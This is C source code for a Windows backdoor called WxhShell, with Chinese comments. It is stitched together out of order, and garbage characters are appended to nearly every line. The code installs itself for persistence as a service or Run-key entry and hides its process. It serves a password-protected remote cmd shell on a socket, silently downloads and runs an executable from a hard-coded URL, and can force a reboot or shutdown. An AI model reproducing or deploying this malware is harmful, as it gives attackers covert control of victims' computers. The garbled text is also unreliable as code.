    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zq|NltK  
    if(Boot(SHUTDOWN))  ]l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SUsdX[byb  
    else { _0Y?(}  
    closesocket(wsh); }0OQm?xh  
    ExitThread(0); S*WLb/R2  
    } x3nUKQtk:8  
    break; nKjT&R  
    } (>*L-&-  
  // 获取shell &uf|Le4  
  case 's': { x5M+\?I<2  
    CmdShell(wsh); Sa:;j4  
    closesocket(wsh); W/%9=g$m  
    ExitThread(0); D\DwBZ>  
    break; 5hDPX \  
  } TR'_v[uK3  
  // 退出 d"lk"R  
  case 'x': { :y_] JL;w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "R% RI( y{  
    CloseIt(wsh); xhMAWFg|  
    break; o9OCgP`Y  
    } X*&Thmee  
  // 离开 9]I{GyH  
  case 'q': { mCQ:< #  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~/2OK!M  
    closesocket(wsh); B}N1}i+  
    WSACleanup(); IPt !gSp  
    exit(1); z|$9%uz"  
    break; FY/F}C,o  
        } U8<C4  
  } (!9+QXb'  
  } `9|Uu#x  
H9WXp&  
  // 提示信息 e&NJj:Ph*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GX*9R>  
} r<Q0zKW!jN  
  } l}D /1~d  
S&c5Q*->[  
  return; " #w%sG^_  
} +IlQZwm~  
-<(RYMk*)  
// shell模块句柄 df&.!7_R`  
int CmdShell(SOCKET sock) gy"<[N .?c  
{ ,!P}Y[|  
STARTUPINFO si; [Y^h)k{-$  
ZeroMemory(&si,sizeof(si)); }gd'pgN"t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z,8t!Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *lQa^F  
PROCESS_INFORMATION ProcessInfo; A}_pJH  
char cmdline[]="cmd"; p xW*kS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R pT7Nr  
  return 0; ao@CPB6N  
} XS.*CB_m_  
vr_Z0]4`C9  
// 自身启动模式 ?R4%z2rcW  
int StartFromService(void) y-"QY[  
{ :kd]n$]  
typedef struct h]j>S  
{ ;f} ']2  
  DWORD ExitStatus; !mUO/6Q hq  
  DWORD PebBaseAddress; 4AKPS&k;  
  DWORD AffinityMask; 9xFI%UOb#  
  DWORD BasePriority; t~8H~%T>v  
  ULONG UniqueProcessId; vD(:?M  
  ULONG InheritedFromUniqueProcessId; + 7wMM#z  
}   PROCESS_BASIC_INFORMATION; p+b$jKWQ  
Hk=HO|&<XB  
PROCNTQSIP NtQueryInformationProcess; r4b-.>w  
S7~HBgS<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }eveNPB{5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j@{dsS: 6  
.-Dc%ap]  
  HANDLE             hProcess; al7D3J  
  PROCESS_BASIC_INFORMATION pbi; >qd=lm <,  
buhbUmQ2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NnaO!QW%  
  if(NULL == hInst ) return 0; K@ a#^lmd  
R'fEw3^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ns5P,[pBOZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -x|!?u5F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K \.tR  
A,3qjd,$ c  
  if (!NtQueryInformationProcess) return 0; dAy\IfZX=  
E5Sn mxd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p+y"r4   
  if(!hProcess) return 0; ?F*I2rt#  
%al 5 {  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S27s Rxfr  
UKPr[  
  CloseHandle(hProcess); ,RP9v*  
 {@k , e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); > }kZXeR|  
if(hProcess==NULL) return 0; [8K :ml  
.bj:tmz  
HMODULE hMod; q4,/RZhzh  
char procName[255]; dXsD%sG @  
unsigned long cbNeeded; M4% 3a j  
(^E5y,H<g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G#A6<e/  
3{wuifS  
  CloseHandle(hProcess); MZ~N}y  
_'*(-K5&  
if(strstr(procName,"services")) return 1; // 以服务启动 r`< x@,  
8q; aCtei  
  return 0; // 注册表启动 %P:|B:\<  
} [6Sk>j  
vG\ b `  
// 主模块 @jrxbo;5  
int StartWxhshell(LPSTR lpCmdLine) ^)C#  
{ ew]G@66  
  SOCKET wsl; 7zIfsb  
BOOL val=TRUE; eBY/Y6R  
  int port=0; y9w,Su2  
  struct sockaddr_in door; }w8yYI  
zL'S5'<F|  
  if(wscfg.ws_autoins) Install(); c c/nzB  
[70 5[  
port=atoi(lpCmdLine); 1/K1e$r  
2<:dA >1  
if(port<=0) port=wscfg.ws_port; u! dx+vd  
^Y5I OX:  
  WSADATA data; MH0wpHz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qVH.I6)  
-Kcjnl92i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9}Ge@a<j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s)KlKh  
  door.sin_family = AF_INET; 4t3>`x 7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s!>9od6^  
  door.sin_port = htons(port); W=OryEV?  
+;M 5Sp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { < RtyW  
closesocket(wsl); m9+?>/R  
return 1; sf:IA%.4t  
} emB<{kOkw  
o2q-x2uB  
  if(listen(wsl,2) == INVALID_SOCKET) { p(K ^Zc  
closesocket(wsl); tmoaa!yRnT  
return 1; B]E c  
} #^R@EZ  
  Wxhshell(wsl); lcgG5/82  
  WSACleanup(); L4bYVTm|  
yrl7  
return 0; WNKg>$M  
B<n[yiJ}  
} 7S=,#  
TQ0ZBhd  
// 以NT服务方式启动 c]bG5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (h g6<`  
{ 8Op^6rX4  
DWORD   status = 0; jzBW'8  
  DWORD   specificError = 0xfffffff; _*b`;{3  
jicH94#(]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .GL@`7"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S ?J(VJqE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `"<hO 'WU  
  serviceStatus.dwWin32ExitCode     = 0; lP*=4Jh  
  serviceStatus.dwServiceSpecificExitCode = 0; `AvK=]  
  serviceStatus.dwCheckPoint       = 0; G6G-qqXy6  
  serviceStatus.dwWaitHint       = 0; ]qu6/Z  
F w t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c\&;Xr  
  if (hServiceStatusHandle==0) return; \sfc!5G  
'>n&3`r5  
status = GetLastError(); hw*u.46  
  if (status!=NO_ERROR) [Q J  
{ LZ.Xcy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A1`6+8}o;b  
    serviceStatus.dwCheckPoint       = 0; lNtxM"G&  
    serviceStatus.dwWaitHint       = 0; 1i_%1Oip  
    serviceStatus.dwWin32ExitCode     = status; \okv}x^L=Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; a|.IAxJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q"GM3?  
    return; F`2h,i-9  
  } j+{cc: h"X  
7YK6e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |]k,0Y3v  
  serviceStatus.dwCheckPoint       = 0; CDsl)  
  serviceStatus.dwWaitHint       = 0; noEl+5uY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N:'!0|6?x-  
} C=v+e%)x@  
DS>&|zF5l  
// 处理NT服务事件,比如:启动、停止 vqO#Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dNF_ T?E\  
{ `'k2gq&  
switch(fdwControl)  N&kUTSd  
{ r;* |^>  
case SERVICE_CONTROL_STOP: z8]@Gh+ (  
  serviceStatus.dwWin32ExitCode = 0; cAot+N+9|]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0a#v}w^ *  
  serviceStatus.dwCheckPoint   = 0; 8oXp8CC  
  serviceStatus.dwWaitHint     = 0; .Dl ?a>I  
  { 3EY m@oZj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =5V7212  
  } MI^$df  
  return; r<Cr)%z!  
case SERVICE_CONTROL_PAUSE: j(]O$""  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `wU['{=  
  break; 1#Hr{&2  
case SERVICE_CONTROL_CONTINUE: !E_|Zp]up  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l^B4.1rT  
  break; )pT5"{  
case SERVICE_CONTROL_INTERROGATE: ;aX?K/  
  break; \%.oi@A  
}; jYFmL_{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sy4|JM-5  
} #s15AyKz5  
3 H5  
// 标准应用程序主函数 b4bd^nrqV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?Tu=-ppw  
{ N-knhA  
" zD9R4\X.  
// 获取操作系统版本 0GeL">v,:=  
OsIsNt=GetOsVer(); \AA9 m'BZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); NH}o`x/  
_>kc:  
  // 从命令行安装 XMT@<'fI  
  if(strpbrk(lpCmdLine,"iI")) Install(); y 5=r r3%v  
!>80p~L  
  // 下载执行文件 "`cPV){]  
if(wscfg.ws_downexe) { b=pk;'-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g1"Z pD  
  WinExec(wscfg.ws_filenam,SW_HIDE); zwJ&K;"y(  
} J'7;+.s(  
GEh(pJ  
if(!OsIsNt) { VKX|0~  
// 如果时win9x,隐藏进程并且设置为注册表启动 vM5/KrW  
HideProc(); e@TwZ6l  
StartWxhshell(lpCmdLine); "J2q|@.  
} %6 GM[1__  
else *AGf'+j*z  
  if(StartFromService()) 9#&H'mG  
  // 以服务方式启动 GiEt;8  
  StartServiceCtrlDispatcher(DispatchTable); As,e.V5!  
else Ut;4`>T  
  // 普通方式启动 3W_7xLA  
  StartWxhshell(lpCmdLine); svl!"tMXl  
5;p|iT  
return 0; S7nx4c2xK~  
} q oi21mCn  
X9]} UX  
z},\1^[  
w4\ 3*  
=========================================== #{J~ km/  
N#"l82^H*  
I^![)# FC  
eL(<p]  
GN! R<9  
;DYS1vGo  
" y_Urzgm(  
%X %zK1  
#include <stdio.h> <f8j^  
#include <string.h> z |~+0  
#include <windows.h> ~M} K]Li  
#include <winsock2.h> LPu *Lkx  
#include <winsvc.h> (PGw{_  
#include <urlmon.h> S2*sh2-&6  
U0:*?uA.  
#pragma comment (lib, "Ws2_32.lib") Ew| Z<(  
#pragma comment (lib, "urlmon.lib") GWPBP-)0  
bo\Ah/.  
#define MAX_USER   100 // 最大客户端连接数 Q*PcO\Y!y  
#define BUF_SOCK   200 // sock buffer w?|qKO  
#define KEY_BUFF   255 // 输入 buffer ; YQB  
g@4~,  
#define REBOOT     0   // 重启 [R%*C9Y d  
#define SHUTDOWN   1   // 关机  4W*o:Y!  
rXD:^wUSc  
#define DEF_PORT   5000 // 监听端口 Fb%?qaLmCv  
K|-m6!C!7  
#define REG_LEN     16   // 注册表键长度 GP hhg  
#define SVC_LEN     80   // NT服务名长度 p!^K.P1 '  
8zj&e8&v  
// 从dll定义API 5 D^#6h 4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l/zv >  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y)5O %@Rl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); la-:"gKC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *!&?Xy%\"j  
,pGA|ob  
// wxhshell配置信息 4}/gV)  
struct WSCFG { f)z(9JJL  
  int ws_port;         // 监听端口 EwFq1~  
  char ws_passstr[REG_LEN]; // 口令 W$NFk(  
  int ws_autoins;       // 安装标记, 1=yes 0=no Aixe?A_x  
  char ws_regname[REG_LEN]; // 注册表键名 Q. O4R_H  
  char ws_svcname[REG_LEN]; // 服务名 (Q% @]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O$m &!J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GAYn*'<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K&NH?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;)CN=J!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1 @t.J>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ki@C}T5  
u_9c>  
}; ui#nN   
.Hqq!&  
// default Wxhshell configuration 5= &2=  
struct WSCFG wscfg={DEF_PORT, Y8v[kuo7  
    "xuhuanlingzhe", xlwf @XW  
    1, T:{r*zLSN  
    "Wxhshell", [(#)9/3,  
    "Wxhshell", # M/n\em"X  
            "WxhShell Service", Wd)\r.pJ  
    "Wrsky Windows CmdShell Service", $Uy+]9  
    "Please Input Your Password: ", ^?""'1iuQx  
  1, 5yoi;$~}_0  
  "http://www.wrsky.com/wxhshell.exe", M NwY   
  "Wxhshell.exe" j;_  
    }; ?i#x13  
JXe~ 9/!  
// 消息定义模块 ly*v|(S&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H(76sE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Eq;w5;7s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aaY AS"/:  
char *msg_ws_ext="\n\rExit."; ij-'M{f  
char *msg_ws_end="\n\rQuit."; } (-9d  
char *msg_ws_boot="\n\rReboot..."; CV"}(1T  
char *msg_ws_poff="\n\rShutdown..."; zE$HHY2ovi  
char *msg_ws_down="\n\rSave to "; !P EKMDh  
FauASu,A  
char *msg_ws_err="\n\rErr!"; s a o&  
char *msg_ws_ok="\n\rOK!"; zM&ro,W  
:AztHf?X  
char ExeFile[MAX_PATH]; ~<VxtcEBz  
int nUser = 0; -`\rDPGf  
HANDLE handles[MAX_USER]; H6 x  
int OsIsNt; #9]2Uixq[  
E#(e2Z=  
SERVICE_STATUS       serviceStatus; 4uoZw 3O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QH(&Cu,  
k $gcQ:|  
// 函数声明 Sj(>G;  
int Install(void); EDgtn)1  
int Uninstall(void); {*O+vtir%  
int DownloadFile(char *sURL, SOCKET wsh); Bv@p9 ] n  
int Boot(int flag); <H60rON  
void HideProc(void); +CBN[/Z^i  
int GetOsVer(void); d>)=|  
int Wxhshell(SOCKET wsl); c{y'&3\  
void TalkWithClient(void *cs); |f$+|9Q?  
int CmdShell(SOCKET sock); a}NB6E)-  
int StartFromService(void); IL.bwt pQD  
int StartWxhshell(LPSTR lpCmdLine); # 2^H{7  
#`|Nm3b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V9"R8*@-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h?n?3x!(  
_%2ukuJ `  
// 数据结构和表定义 &57~i=A 3  
SERVICE_TABLE_ENTRY DispatchTable[] = uVU)LOx  
{ 7MrHu2rZ=  
{wscfg.ws_svcname, NTServiceMain}, RNB&!NC  
{NULL, NULL} }9\6!GY0  
}; 61kSCu  
BI)C\D3[  
// 自我安装 C;JW \J~W  
int Install(void) vPYHM2  
{ %4!^AA%  
  char svExeFile[MAX_PATH]; #*CMf.OCh  
  HKEY key; ^ei[1 #  
  strcpy(svExeFile,ExeFile); S5>ztK.e  
sd%)g<t  
// 如果是win9x系统,修改注册表设为自启动 X+A@//,7  
if(!OsIsNt) { J{\Uw].|0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q6-o!>dLQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A? B +  
  RegCloseKey(key); +0%r@hTv&>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 56s%Qlgx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )JTQZ,f3]  
  RegCloseKey(key); ZJ2 MbV.6  
  return 0; Het"x  
    } oA-,>:}g{  
  } R~a9}&  
} o#wly%i')  
else { (y!bvp[" m  
*> nOL  
// 如果是NT以上系统,安装为系统服务 bskoi;)u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p#P<V%  
if (schSCManager!=0) QjSWl,{ $D  
{ #b428-  
  SC_HANDLE schService = CreateService 1ds4C:M+<  
  ( 4pT^ *  
  schSCManager, MFa/%O_*  
  wscfg.ws_svcname, c;q=$MO`  
  wscfg.ws_svcdisp, (,o@/ -o  
  SERVICE_ALL_ACCESS, |T"vF`Kr(>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !^F_7u@Q  
  SERVICE_AUTO_START, Iv  
  SERVICE_ERROR_NORMAL, <]G'& iv>  
  svExeFile, "A Bt  
  NULL, &)Qq%\EP4  
  NULL, #OM'2@  
  NULL, MCibYv c[  
  NULL, P2jh[a%  
  NULL Rjq\$aY}%  
  ); Wu{_QuAB  
  if (schService!=0) 7$%G3Q|)L  
  { $dI mA  
  CloseServiceHandle(schService); em,1Yn?  
  CloseServiceHandle(schSCManager); d*Mqs}8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fNAW4I I}  
  strcat(svExeFile,wscfg.ws_svcname); $[`rY D/.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F%p DF\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ["&{^  
  RegCloseKey(key); /Q7q2Ne^*  
  return 0; aG;F=e  
    } H:hM(m0?q  
  } D mi.@.  
  CloseServiceHandle(schSCManager); Z HZxr  
} qVfn(rZ  
} HM)D/CO,?  
|z3!3?%R  
return 1; ,|yscp8  
} ;Z0&sFm  
E@k'uyIu  
// 自我卸载 XTX/vbge3m  
int Uninstall(void) y{3+Un  
{ uZL,%pF3A  
  HKEY key; a"YVr'|  
P,m+^,  
if(!OsIsNt) { 5L2j, ]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I^f|U  
  RegDeleteValue(key,wscfg.ws_regname); {"~[F2qR  
  RegCloseKey(key); K:< Viz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =TEe:%mN  
  RegDeleteValue(key,wscfg.ws_regname); :35h0;8+  
  RegCloseKey(key); @a]cI  
  return 0; 3t+{~{Dj  
  } M/.M~/ ~  
} v4Ag~Evcx  
} {:"<E?+  
else { vzfMME17  
,m`&J?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \i,H1a  
if (schSCManager!=0) GFPrK9T  
{ q['D?)sy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {9Qc\Ij  
  if (schService!=0) -6-rX D  
  { 3 xW:"  
  if(DeleteService(schService)!=0) { T'7>4MT(  
  CloseServiceHandle(schService); jEQ_#KKYJ  
  CloseServiceHandle(schSCManager); wxK71OH  
  return 0; )vOBF5  
  } %fS1g Sf h  
  CloseServiceHandle(schService); <Ez@cZ"  
  } 0$`pYW]  
  CloseServiceHandle(schSCManager); ku*k+4rz  
} qk'&:A  
} Y1r'\@L w  
vA:ZR=)F  
return 1; 9A4n8,&sm  
}  gh[q*%#  
3O*iv{-&  
// 从指定url下载文件 *>qc6d@'  
int DownloadFile(char *sURL, SOCKET wsh) Z ;~%!  
{ viU}  
  HRESULT hr; B=>Xr!pM!  
char seps[]= "/"; BTr;F]W  
char *token; 1yF9zKs&_  
char *file; Y9f7~w^s  
char myURL[MAX_PATH]; `UzH *w@e  
char myFILE[MAX_PATH]; C[znUI>  
y~]D402Cx  
strcpy(myURL,sURL); zF FYl7]  
  token=strtok(myURL,seps); " w V  
  while(token!=NULL) 3)>re&  
  { X$u l=iBs  
    file=token; y'2w*?  
  token=strtok(NULL,seps); "'``O~08/  
  } 1r.2bL*~jw  
@qcUxu4  
GetCurrentDirectory(MAX_PATH,myFILE); 9(HGe+R4o  
strcat(myFILE, "\\"); @+M1M 2@Xz  
strcat(myFILE, file); ] g9SUFM  
  send(wsh,myFILE,strlen(myFILE),0); q'H6oD`  
send(wsh,"...",3,0); |j'@no_rv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DC>?e[oOz  
  if(hr==S_OK) rr`_\ut  
return 0; w-)JCdS6Tb  
else wsrdBxd5  
return 1; 8Wtr,%82  
w_`;Mn%p  
} R=Lkf  
|QbCFihn  
// 系统电源模块 3nhQ^zqf  
int Boot(int flag) . &}x[~g  
{ J:uFQWxZ   
  HANDLE hToken; )N^fSenFBn  
  TOKEN_PRIVILEGES tkp; c{D<+XM  
]S?G]/k}  
  if(OsIsNt) { F3!6}u\F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &-NGVPk81`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZI$P Qz2i  
    tkp.PrivilegeCount = 1; X0ugnQ6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qrOesSdc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j3w~2q"r  
if(flag==REBOOT) { ~IO'"h'w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U%1M?vT/  
  return 0; ;A"i.:ZT  
} q2B'R   
else { w H=7pS"s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b?Q$UMAbH  
  return 0; w(+ L&IBC  
} Wn;%B].I  
  } '^7Z]K<v  
  else { ||cI~qg  
if(flag==REBOOT) { ScInOPb'K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Tp~Qg{%Og  
  return 0; Gl{2"!mt=  
} &u"mFweS  
else { $@{ d\@U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 90J WU$K  
  return 0; fRk'\jzT  
} %T<c8w}dP  
} 1M_6X7PH  
[}Rs  
return 1; .{;RJ:O  
} >PdrLwKS  
^Bw"+6d  
// win9x进程隐藏模块 )<'2 vpz  
void HideProc(void) 0V"(}!=2a  
{ s&WE'  
Qd3ppJn  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NV} fcZ  
  if ( hKernel != NULL ) GmUm?A@B  
  { {KTZSs $n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hQzT =0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o4rf[.z  
    FreeLibrary(hKernel); bTYR=^9  
  } g rQ,J  
Rdj3dg'<  
return; J +Y?'"r  
} Mp5Z=2l5  
.Q</0*sp  
// 获取操作系统版本 I A=\c  
int GetOsVer(void) ]U4C2}u  
{ Ttb?x<)+8  
  OSVERSIONINFO winfo; -DZ5nx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j~Ci*'*L  
  GetVersionEx(&winfo); DvI^3iG8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <Z1m9O "sy  
  return 1; - t 4F  
  else 6I]{cm   
  return 0; }ew )QHd  
} ,*L3  
b83m'`vRM  
// 客户端句柄模块 h}m9L!+n8  
int Wxhshell(SOCKET wsl) 0'5N[Bvp  
{ ?v+el,  
  SOCKET wsh; s/;S2l$`  
  struct sockaddr_in client; #cJ1Jj $  
  DWORD myID; ~-yq,x  
z^KBV ^n  
  while(nUser<MAX_USER) n? ^oQX}.\  
{ aNICSxDN  
  int nSize=sizeof(client); \H PB{ ;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sA"B/C|(g  
  if(wsh==INVALID_SOCKET) return 1; \<} e?Yx%  
gZz5P>^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mX @xV*  
if(handles[nUser]==0) *L<<S=g$2  
  closesocket(wsh); FYg{IKg  
else 77]Fp(uI  
  nUser++; 6%c]{eTd9  
  } VB+_ kR6Zv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?%>S5,f_  
8js1m55KT  
  return 0; >\lBbq a#  
} HErG%v]nw  
d(D|rf,av  
// 关闭 socket |t58n{V.O  
void CloseIt(SOCKET wsh) 5S! !@P!,  
{ (x[z=_I%`  
closesocket(wsh); p@YbIn  
nUser--; QcdAg%"yy  
ExitThread(0); .g_Kab3?L  
} >bwq  
py/#h$eY  
// 客户端请求句柄 N71%l  
void TalkWithClient(void *cs) k <LFH(  
{ 7X/B9Hee  
;T!ZO@1X  
  SOCKET wsh=(SOCKET)cs; Z7MGBwP(  
  char pwd[SVC_LEN]; sdQ "[`~2R  
  char cmd[KEY_BUFF]; *APTgXYR  
char chr[1]; SQG9m2  
int i,j; DL '{ rK  
7*Gg#XQ>(  
  while (nUser < MAX_USER) { hus9Zv4  
Hq <!&  
if(wscfg.ws_passstr) { l8DZ2cw]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R36A_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }SW>ysw'm  
  //ZeroMemory(pwd,KEY_BUFF); [-=y*lx %g  
      i=0; Jj+Hj[(@  
  while(i<SVC_LEN) { u>03l(X6f  
=kW7|c5Z  
  // 设置超时 #/>OW2Ny  
  fd_set FdRead; 2J6(TrQ  
  struct timeval TimeOut; Y)C!N$=@Q  
  FD_ZERO(&FdRead); 0ol*!@?  
  FD_SET(wsh,&FdRead); Xf|I=XK  
  TimeOut.tv_sec=8; N*}g+ IS  
  TimeOut.tv_usec=0; ~2 J!I^ J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y c>.P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `Y<FR  
mx0EEU*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8/ CK(G  
  pwd=chr[0]; @B>pPCowa  
  if(chr[0]==0xd || chr[0]==0xa) { MB?762 Q  
  pwd=0; lM%3 ?~?Q&  
  break; KN\tRE  
  } T5TA kEVl  
  i++; +78cQqDY!  
    } =?1B|hdo  
wvEdZGO8!  
  // 如果是非法用户,关闭 socket :T/I%|;f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _Qf310oONS  
} Y$eO:67;  
Cfst)[j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SOJkeN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mA\}zLw+r9  
C.=[K_  
while(1) { ggzcANCD<  
AKUmh  
  ZeroMemory(cmd,KEY_BUFF); c"S{5xh0&  
ZcrFzi  
      // 自动支持客户端 telnet标准   3m/XT"D  
  j=0; zHQSx7Ow 5  
  while(j<KEY_BUFF) { z7]GZF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /baSAoh/e  
  cmd[j]=chr[0]; = _/XFN  
  if(chr[0]==0xa || chr[0]==0xd) { /G!M\teeF  
  cmd[j]=0; 39Tlt~Psz  
  break; B5/"2i  
  } %_ Vj'z~T  
  j++; 0-I L@Di`F  
    } D'\gy$9m1  
]9$^=z%SE  
  // 下载文件 o+FDkqEN  
  if(strstr(cmd,"http://")) { 6fw2 ;$x"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F+m;y  
  if(DownloadFile(cmd,wsh)) -h,?_d>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y/,Cy0!  
  else N9BfjT}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [|APMMYK1  
  } \ H!Klp  
  else { c#`&uLp  
lw_PQ4Hp  
    switch(cmd[0]) { qPgny/(  
  {*K7P>&  
